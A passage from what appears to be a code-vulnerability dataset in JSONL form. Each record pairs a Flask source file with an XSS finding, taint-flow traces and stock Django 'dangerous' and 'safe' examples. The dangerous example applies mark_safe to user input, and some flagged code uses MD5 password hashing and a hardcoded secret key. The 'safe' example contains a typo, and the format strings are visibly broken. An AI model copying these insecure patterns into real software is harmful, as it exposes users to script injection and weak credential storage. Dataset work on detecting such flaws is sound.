bott=socketio.start_background_task(BOT.manageTalk,session[\"user\"][\"id\"],session[\"chatid\"],message,DB,msgs,botError)\n\n htmlmessages=render_template(\"messages.html\", messages=msgs,current=session[\"user\"][\"id\"])\n #print(\"htmlnewmessages\",htmlmessages)\n print(\"EMIT TO\",clients[session[\"user\"][\"id\"]])\n emit(\"newmessages\",htmlmessages,room=clients[session[\"user\"][\"id\"]])\n\n#functions::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n\ndef botError(nothing):\n emit(\"boterror\",True)\n\ndef isAdmin():\n if session[\"ismarion\"]:\n return True\n return False\n\ndef encript(password):\n hashed=hashlib.md5(password.encode('utf-8'))\n hashed=str(hashed.hexdigest())\n return hashed", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.user_agent"}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.user_agent.browser"}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "78"}}, {"lineNo": 82, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "037912f53105bb5fa9c955933e13899f44b194d172dcbce088f2b1f5b3f618d2", "license": {"spdx": ["MIT"], "repo": "darth-dodo/tgif-with-flask", "path": "flask-demo/tgi-flask.py", "repo_head_hexsha": "dee2a7ef2a3235bee050c02a69f467dba3bbea93", "stack_hexsha": "a9614c459da02ba53a4d95b8997322bef1487241", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 107, "entireCode": "from random import choice\n\nfrom flask import Flask, render_template, flash, request, jsonify\nfrom wtforms import Form, TextField, TextAreaField, validators, StringField, SubmitField\n\n\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config['SECRET_KEY'] = 'bottle-o-rummmmmm'\n\n\nPIRATE_GREETINGS = ['Ahoy', 'Arr! Matey', 'Arrrrr!', \"SQWAK! 'ello\",\n\"Shiver me timbers! It's\", \"Get on to the deck\"]\n\nPIRATE_INSULTS = [\"yellow bellied, lily-livered landlubber!\",\n\"rotten sack of fermented potatoes\",\n\"rapscallion\",\n\"scallywag\"\n]\n\nPIRATE_BOOTY = {\n\"chops\": ['No compromise attitude', 'FR', 'Sales smarts'],\n\"growth\": ['Funnel metrics', 'Social Media', 'Blogs, blogs and more blogs'],\n\"communiteam\": ['Influencers','CLCC', 'Rolling paper']\n}\n\nINVALID_DECK = \"Gimme a valid deck\"\nINVALID_NAME = \"Gimme a name\"\n\n\n# forms\nclass ReusableForm(Form):\n name = TextField('Department Name:', validators=[validators.required()])\n\n\n# helpers\ndef get_department_booty(department_name):\n\n lowercase_department_name = department_name.lower()\n\n booty = PIRATE_BOOTY.get(lowercase_department_name, None)\n\n return booty\n\n\ndef get_all_departments():\n return list(PIRATE_BOOTY.keys())\n\ndef booty_error_message_generator():\n random_insult = choice(PIRATE_INSULTS)\n error_message = '{0}, ye {1}'.format(INVALID_DECK, random_insult)\n return error_message\n\ndef return_invalid_department_id_error():\n invalid_department_payload = {\"status\": False,\n \"message\": \"Please provide a department id\"}\n response = jsonify(invalid_department_payload)\n response.status_code = 400\n\n return response\n\n\n# controllers\n@app.route(\"/\")\ndef hello():\n # return \"Ahoy, Pirates!\"\n return render_template('ahoy.html')\n\n\n\n@app.route(\"/pirate/\")\n@app.route(\"/pirate/\")\ndef pirate_greet(pirate_name=None):\n\n if not pirate_name:\n\n random_insult = choice(PIRATE_INSULTS).lower()\n return \"{0}, ye {1}\".format(INVALID_NAME, random_insult)\n\n random_greeting = choice(PIRATE_GREETINGS)\n\n return \"{0} {1}!\".format(random_greeting, pirate_name.title())\n\n\n# form for getting name and corresponding pirate booty\n@app.route(\"/booty\", methods=['GET', 'POST'])\ndef department_booty():\n form = ReusableForm(request.form)\n error_message = None\n all_departments = get_all_departments()\n department_booty = None\n\n if request.method == 'POST':\n\n name = request.form.get('name', None)\n\n if form.validate():\n\n department_booty = get_department_booty(name)\n\n if department_booty is None:\n error_message = booty_error_message_generator()\n\n else:\n error_message = booty_error_message_generator()\n\n return render_template('get_booty.html', form=form,\n error_message=error_message,\n department_booty=department_booty,\n all_departments=all_departments)\n\n\n@app.route(\"/decks/\", methods=['GET', 'POST'])\ndef ithaka_decks():\n DEPARTMENT_DATA = [\n {\"name\": \"Engineering\", \"bio\": \"Bad at copywriting.\", \"id\": 1},\n {\"name\": \"Product\", \"bio\": \"Require more sleep.\", \"id\": 2},\n {\"name\": \"Growth\", \"bio\": \"Discuss about funnel conversions and throughputs.\", \"id\": 3},\n {\"name\": \"ChOps\", \"bio\": \"The secret sauce <3\", \"id\": 4},\n {\"name\": \"Business\", \"bio\": \"Onboarding vendors like a boss\", \"id\": 5},\n {\"name\": \"Communiteam\", \"bio\": \"Data and Sutta and Chai and Love\", \"id\": 6}\n ]\n\n if request.method == 'GET':\n response = jsonify(DEPARTMENT_DATA)\n response.status_code = 200\n\n\n elif request.method == 'POST':\n new_data = request.get_json('data')\n DEPARTMENT_DATA.append(new_data)\n response = jsonify(DEPARTMENT_DATA)\n response.status_code = 201\n\n # elif request.method == 'PUT':\n # if not department_id:\n # return return_invalid_department_id_error()\n #\n # if int(department_id) not in all_department_ids:\n # return return_invalid_department_id_error()\n\n # DEPARTMENT_DATA = parse_put_data(existing_all_department_data=required_department_data,\n # name=department_name)\n\n return response", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "ReusableForm"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "ReusableForm"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "ReusableForm"}}, {"lineNo": 107, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "fe847fd12104dcb0677ddc094e0547eb94c95435a51ff15c0f808af05873767d", "license": {"spdx": ["MIT"], "repo": "nsde/namegen", "path": "src/backend.py", "repo_head_hexsha": "e24a8f12ae166d69d53f5f81915c44ede48e1319", "stack_hexsha": "cd5e66bb22af72c75fb70b63371b30333a700b01", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 23, "entireCode": "import generator\n\nimport math\n\nfrom waitress import serve\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n tld = 'com'\n\n if request.args.get('tld'):\n tld = request.args.get('tld')\n\n if tld == 'dont_check':\n tld = False\n\n gen = generator.generate_list(check_tld=tld)\n stats = math.prod([len(c) for c in generator.components()])\n\n return render_template(\n 'home.html',\n name1=gen[0],\n name2=gen[1],\n name3=gen[2],\n name4=gen[3],\n name5=gen[4],\n stats=stats\n )\n\n@app.route('/raw')\ndef raw():\n tld = request.args.get('tld')\n return generator.generate(tld)\n\n@app.route('/raw/list')\ndef raw_list():\n length = request.args.get('length')\n\n if not length:\n length = 5\n else:\n length = int(length)\n\n if length <= 10:\n return '
'.join(generator.generate_list(length=length))\n else:\n return 'Sorry, ?length can not be more than 10.'\n\nif __name__ == '__main__':\n serve(app, host='0.0.0.0', port=8080)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "generator.generate_list"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 23, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "genhome.gen[0]"}}]}} {"id": "6ffa5c71ab63b80ddaac942fc4dc3feb01997771cfdcc83d2f7e6bec7d437d64", "license": {"spdx": ["FTL"], "repo": "foskyblue/vehicle_price_prediction_system", "path": "app.py", "repo_head_hexsha": "97c0e202f878efb6c00bbda948ead726e4741ee4", "stack_hexsha": "3e8418c0bd2faaa87e31094f9a1b0190c2dbbf30", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 116, "entireCode": "import json\nfrom Recommender import RecommendationEngine\nfrom numpy import unique\nimport plotly\nimport pandas as pd\n\n\nfrom flask import Flask\nfrom flask import render_template, request, jsonify\nfrom plotly.graph_objs import Bar\nfrom load import load_data, load_model\nfrom figures import load_figures\n\n\napp = Flask(__name__)\n\n# load data\ndf = load_data()\n\n\n# load model\nmodel = load_model()\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/index')\n@app.route('/')\ndef index():\n\n # load figures and ids\n ids, graph_json = load_figures()\n \n # render web page with plotly graphs\n return render_template('master.html', ids=ids, graphJSON=graph_json)\n\n\n# web page that handles user query and displays model results\n@app.route('/go')\ndef go():\n # save user input in query\n # query = request.args.get('query', '')\n\n model_brand_name = [request.args.get('model_brand_name', '')]\n model_name = [request.args.get('model_name', '')]\n year = [int(request.args.get('year', ''))]\n transmission = [request.args.get('transmission', '')]\n engine_type = [request.args.get('engine_type', '')]\n body_type = [request.args.get('body_type', '')]\n mileage = [int(request.args.get('mileage', ''))]\n mileage_unit = [request.args.get('mileage_unit', '')]\n fuel_type = [request.args.get('fuel_type', '')]\n grade_score = [float(request.args.get('grade_score', ''))]\n first_owner = [request.args.get('first_owner', '')]\n selling_condition = [request.args.get('selling_condition', '')]\n interior_color = [request.args.get('interior_color', '')]\n # exterior_color = [request.args.get('exterior_color', '')]\n\n query = \"Make: \", model_brand_name, '\\n' \" Model: \", model_name, \"\\n year: \", year, \\\n \"\\n Transmission: \", transmission, \"\\n Engine Type: \", engine_type, \\\n \"\\n Body Type: \", body_type \n\n pred_df = {'year': year, 'mileage': mileage, 'model_name': model_name, 'model_brand_name': model_brand_name,\n 'transmission': transmission, 'fuelType': fuel_type, 'sellingCondition': selling_condition,\n 'bodyType': body_type, 'mileageUnit': mileage_unit, 'interiorColor': interior_color,\n 'engineType': engine_type, 'gradeScore': grade_score, 'isFirstOwner': first_owner\n }\n\n pred_df = pd.DataFrame(pred_df)\n\n pred_df['model_name'] = pred_df['model_name'].apply(lambda row: row.strip().lower())\n pred_df['model_brand_name'] = pred_df['model_brand_name'].apply(lambda row: row.strip().lower())\n pred_df['interiorColor'] = pred_df['interiorColor'].apply(lambda row: row.strip().lower())\n pred_df['bodyType'] = pred_df['bodyType'].apply(lambda row: row.strip().lower())\n pred_df['engineType'] = pred_df['engineType'].apply(lambda row: row.strip().lower())\n pred_df['isFirstOwner'] = pred_df['isFirstOwner'].apply(lambda row: row.strip().lower())\n\n\n x_clean_pd = pd.read_csv('data/clean.csv')\n\n to_pred = pd.concat([x_clean_pd, pred_df], ignore_index=True)\n\n\n to_pred['isFirstOwnerDummy'] = pd.get_dummies(to_pred['isFirstOwner'].astype(str).apply(lambda row: row.strip().lower()), drop_first=True)\n \n to_pred['transmissionDummy'] = pd.get_dummies(to_pred['transmission'], drop_first=True)\n\n to_pred['fuelTypeDummy'] = pd.get_dummies(to_pred['fuelType'].astype(str), drop_first=True)\n \n to_pred['mileageUnitDummy'] = pd.get_dummies(to_pred['mileageUnit'].astype(str), drop_first=True)\n\n to_pred.drop(['isFirstOwner', 'transmission', 'fuelType', 'mileageUnit'], axis=1, inplace=True)\n\n to_pred = pd.get_dummies(to_pred)\n \n _pred = to_pred.loc[to_pred.shape[0] - 1]\n \n pred_price = model.predict(_pred.values.reshape(1, -1))\n\n cars_df = pd.read_csv('data/cars.csv')\n trucks_df = pd.read_csv('data/trucks.csv')\n\n vehicles_df = pd.concat([cars_df, trucks_df], ignore_index=True)\n\n # convert values to lower case\n # vehicles_df_dtypes = list(vehicles_df.dtypes[(vehicles_df.dtypes == object)].index)\n vehicles_df_dtypes = ['model_name', 'model_brand_name', 'transmission', 'fuelType', 'sellingCondition', 'bodyType', 'engineType']\n\n for t in vehicles_df_dtypes:\n vehicles_df[t] = vehicles_df[t].apply(lambda row: row.strip().lower())\n\n recommender_engine = RecommendationEngine()\n\n recommendations = recommender_engine.get_recommendations(vehicles_df, model_name[0], model_brand_name[0], year[0], body_type[0])\n\n # This will render the go.html Please see that file. \n return render_template(\n 'go.html',\n pred_df=\"{:,}\".format(round(pred_price[0])),\n recommendations=recommendations\n )\n\n\n@app.route('/html_table')\ndef html_table():\n return render_template('html_table.html')\n\n\n# def main():\n# app.run(host='127.0.0.1', port=5000, debug=True)\n\n\nif __name__ == '__main__':\n app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 48, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 48, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 48, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "model_namego.model_name[0]"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_recommendations"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "model_brand_namego.model_brand_name[0]"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "yeargo.year[0]"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "body_typego.body_type[0]"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 116, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "9e451df1fd4a5c3060defc11060211d48cd22a2559d7b290691c4b258d7d4aab", "license": {"spdx": ["MIT"], "repo": "Renaldi-DNP/gabut", "path": "app.py", "repo_head_hexsha": "c777c4bc5dd71587082f391c6290c28e0dc0fd5a", "stack_hexsha": "be1334abb86aab60691b739867e0118f58e0da30", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 19, "entireCode": "from flask import Flask, render_template, redirect, request, url_for\nfrom proc.proses import Tiktok\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/\", methods=[\"POST\"])\ndef index_post():\n url = request.form[\"url\"]\n if not url:\n return redirect(url_for(\"index\"))\n\n tiktok = Tiktok(url)\n if tiktok.user() == \"Error\":\n return render_template(\"err.html\")\n return render_template(\"success.html\", image=tiktok.image(), standar=tiktok.standard(), hd=tiktok.hd(), name=tiktok.user())\n\n@app.errorhandler(404)\ndef notfound():\n return redirect(url_for('index'))\n\nif __name__ == \"__main__\":\n app.run(debug = True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"url\"]"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Tiktok"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "image"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "0c39671bd854dc18f75d75db09f1d5d877e2166ae3ec961c41cafb015072e89e", "license": {"spdx": ["Apache-2.0"], "repo": "terrytangyuan/kubeflow", "path": "components/jupyter-web-app/rok/kubeflow/rokui/routes.py", "repo_head_hexsha": "4addac44f235fa89145e586be5dcb7fbd94fe261", "stack_hexsha": "294f1afccdded719fdaae3725e5e06c9ee4dec88", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 122, "entireCode": "# -*- coding: utf-8 -*-\nimport json\nfrom flask import jsonify, render_template, request\nfrom kubernetes.client.rest import ApiException\n# from kubernetes import client\nfrom kubeflow.rokui import app\nfrom kubeflow.rokui.api import get_rok_token\nfrom baseui.api import parse_error, \\\n get_namespaces, \\\n get_notebooks, \\\n delete_notebook, \\\n create_notebook, \\\n create_datavol_pvc, \\\n create_workspace_pvc\nfrom baseui.utils import create_notebook_template, \\\n set_notebook_names, \\\n set_notebook_image, \\\n set_notebook_cpu_ram, \\\n add_notebook_volume, \\\n spawner_ui_config\n\n\n# Helper function for getting the prefix of the webapp\ndef prefix():\n if request.headers.get(\"x-forwarded-prefix\"):\n return request.headers.get(\"x-forwarded-prefix\")\n else:\n return \"\"\n\n\n@app.route(\"/post-notebook\", methods=['POST'])\ndef post_notebook_route():\n data = {\"success\": True, \"log\": \"\"}\n body = request.form\n\n # Template\n notebook = create_notebook_template()\n notebook_cont = notebook[\"spec\"]['template']['spec']['containers'][0]\n\n # Set Name and Namespace\n set_notebook_names(notebook, body)\n\n # Set Image\n set_notebook_image(notebook, body)\n\n # CPU/RAM\n set_notebook_cpu_ram(notebook, body)\n\n # Workspacae Volume\n if body[\"ws_type\"] == \"New\":\n try:\n create_workspace_pvc(body)\n except ApiException as e:\n data[\"success\"] = False\n data[\"log\"] = parse_error(e)\n return jsonify(data)\n\n # Create the Workspace Volume in the Pod\n if body[\"ws_type\"] != \"None\":\n add_notebook_volume(\n notebook,\n \"volume-\" + body[\"nm\"],\n body[\"ws_name\"],\n \"/home/jovyan\",\n )\n\n # Add the Data Volumes\n counter = 1\n while (\"vol_name\" + str(counter)) in body:\n i = str(counter)\n vol_nm = 'data-volume-' + i\n pvc_nm = body['vol_name' + i]\n mnt = body['vol_mount_path' + i]\n\n # Create a PVC if its a new Data Volume\n if body[\"vol_type\" + i] == \"New\":\n try:\n create_datavol_pvc(data, i)\n except ApiException as e:\n data[\"success\"] = False\n data[\"log\"] = parse_error(e)\n return jsonify(data)\n\n # Create the Data Volume in the Pod\n add_notebook_volume(notebook, vol_nm, pvc_nm, mnt)\n counter += 1\n\n # Add Extra Resources\n try:\n extra = json.loads(body[\"extraResources\"])\n except Exception as e:\n data[\"success\"] = False\n data[\"log\"] = parse_error(e)\n return jsonify(data)\n\n notebook_cont['resources']['limits'] = extra\n\n # If all the parameters are given, then we try to create the notebook\n # return\n try:\n create_notebook(notebook)\n except ApiException as e:\n data[\"success\"] = False\n data[\"log\"] = parse_error(e)\n return jsonify(data)\n\n return jsonify(data)\n\n\n@app.route(\"/add-notebook\", methods=['GET'])\ndef add_notebook_route():\n # A default value for the namespace to add the notebook\n if request.args.get(\"namespace\"):\n ns = request.args.get(\"namespace\")\n else:\n ns = \"kubeflow\"\n\n # Load the Rok Token\n rok_token = get_rok_token('kubeflow')\n\n form_defaults = spawner_ui_config(\"notebook\")\n return render_template(\n 'add_notebook.html',\n prefix=prefix(),\n ns=ns,\n form_defaults=form_defaults,\n username=\"webapp\",\n rok_token=rok_token)\n\n\n@app.route(\"/delete-notebook\", methods=['GET', 'POST'])\ndef del_notebook_route():\n nb = request.args.get(\"notebook\")\n ns = request.args.get(\"namespace\")\n\n # try to delete the notebook\n data = {\"success\": True, \"log\": \"\"}\n try:\n delete_notebook(nb, ns)\n except ApiException as e:\n data[\"success\"] = False\n data[\"log\"] = parse_error(e)\n\n return jsonify(data)\n\n\n@app.route(\"/list-notebooks\")\ndef list_notebooks_route():\n ns = request.args.get(\"namespace\")\n\n # Get the list of Notebooks in the given Namespace\n data = {\"notebooks\": [], \"success\": True}\n try:\n data['notebooks'] = get_notebooks(ns)\n except ApiException as e:\n data['notebooks'] = []\n data['success'] = False\n data[\"log\"] = parse_error(e)\n\n return jsonify(data)\n\n\n@app.route(\"/\")\n@app.route(\"/home\")\n@app.route(\"/notebooks\")\ndef notebooks_route():\n base_ns = \"kubeflow\"\n\n # Get the namespaces the token can see\n try:\n nmsps = get_namespaces()\n except ApiException:\n nmsps = [base_ns]\n\n return render_template(\n 'notebooks.html',\n prefix=prefix(),\n title='Notebooks',\n namespaces=nmsps,\n username=\"user\",\n rok_token=get_rok_token('kubeflow'))", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 122, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}, {"lineNo": 124, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "prefix"}}, {"lineNo": 124, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "prefix"}}]}} {"id": "6afd918ad8a59e860b1a980f2bafae3a6440671fcc28154406859a126d5cf4b5", "license": {"spdx": ["MIT"], "repo": "HanyuXi/AutoScalerManagementTool", "path": "worker_app/app/img_process.py", "repo_head_hexsha": 